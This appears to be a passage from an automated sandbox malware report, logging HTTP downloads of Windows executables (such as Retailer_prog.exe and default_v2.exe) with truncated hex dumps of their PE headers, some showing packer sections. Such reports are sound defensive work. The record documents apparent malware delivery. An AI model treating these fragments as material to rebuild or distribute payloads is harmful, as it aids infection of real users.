Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Fri, 24 May 2024 03:40:03 GMTAccept-Ranges: bytesETag: "b758cef8cadda1:0"Server: Microsoft-IIS/10.0Date: Fri, 24 May 2024 07:42:06 GMTContent-Length: 3147776Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6a 99 1d e4 2e f8 73 b7 2e f8 73 b7 2e f8 73 b7 65 80 70 b6 25 f8 73 b7 65 80 76 b6 ee f8 73 b7 65 80 74 b6 2f f8 73 b7 ec 79 8e b7 2a f8 73 b7 ec 79 77 b6 3d f8 73 b7 ec 79 70 b6 34 f8 73 b7 ec 79 76 b6 75 f8 73 b7 65 80 77 b6 36 f8 73 b7 65 80 75 b6 2f f8 73 b7 65 80 72 b6 35 f8 73 b7 2e f8 72 b7 0e f9 73 b7 dd 7a 7a b6 32 f8 73 b7 dd 7a 8c b7 2f f8 73 b7 2e f8 e4 b7 2f f8 73 b7 dd 7a 71 b6 2f f8 73 b7 52 69 63 68 2e f8 73 b7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 7c 03 00 00 00 00 00 f4 25 b5 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 b5 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 50 50 93 00 d8 0e 00 00 28 5f 93 00 b0 03 00 00 00 60 19 00 34 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 50 93 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 93 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 15 00 00 10 00 00 00 3c 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 02 00 00 d0 15 00 00 02 01 00 00 40 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 50 18 00 00 08 00 00 00 42 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 20 00 00 00 a0 18 00 00 00 00 00 00 4a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 a0 00 00 00 c0 18 00 00 62 00 00 00 4a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 20 00 00 00 60 19 00 00 18 00 00 00 ac 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 a0 79 00 00 80 19 00 00 28 03 00 00 c4 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 20 22 00 00 20 93 00 00 1c 22 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 07:42:08 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12X-Powered-By: PHP/8.2.12Content-Description: File TransferContent-Disposition: attachment; filename=Retailer_prog.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicContent-Length: 3063296Content-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 8c 18 00 00 00 00 00 0c a0 2d 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 6e 00 00 04 00 00 8a c8 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 14 2e 00 2c 01 00 00 00 80 59 00 02 26 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 59 00 38 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 98 3c 00 18 00 00 00 10 50 59 00 40 00 00 00 00 00 00 00 00 00 00 00 00 d0 2a 00 84 00 00 00 a0 ec 3b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c8 bb 15 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 32 7e 02 00 00 d0 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 30 49 00 00 00 50 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 c3 a9 10 c2 a5 29 12 00 00 a0 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 76 6d 70 c3 a9 10 c2 88 05 00 00 00 d0 2a 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 c3 a9 10 c2 e0 77 2e 00 00 e0 2a 00 00 78 2e 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 38 1a 00 00 00 60 59 00 00 1c 00 00 00 82 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 02 26 15 00 00 80 59 00 00 20 00 00 00 9e 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 07:42:10 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12X-Powered-By: PHP/8.2.12Content-Description: File TransferContent-Disposition: attachment; filename=default_v2.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicContent-Length: 3098112Content-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 8c 18 00 00 00 00 00 00 65 2d 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 6f 00 00 04 00 00 71 72 2f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f8 8c 4b 00 2c 01 00 00 00 20 5a 00 02 26 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5a 00 14 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 50 45 00 18 00 00 00 70 f6 59 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 2a 00 84 00 00 00 60 30 2b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c8 bb 15 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 32 7e 02 00 00 d0 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 30 49 00 00 00 50 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 c3 a9 10 c2 6c 49 12 00 00 a0 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 76 6d 70 c3 a9 10 c2 88 05 00 00 00 f0 2a 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 6d 70 c3 a9 10 c2 40 fe 2e 00 00 00 2b 00 00 00 2f 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 14 1a 00 00 00 00 5a 00 00 1c 00 00 00 0a 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 02 26 15 00 00 20 5a 00 00 20 00 00 00 26 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 07:42:27 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 07:42:43 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 07:42:45 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 07:42:48 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 24 May 2024 07:42:49 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 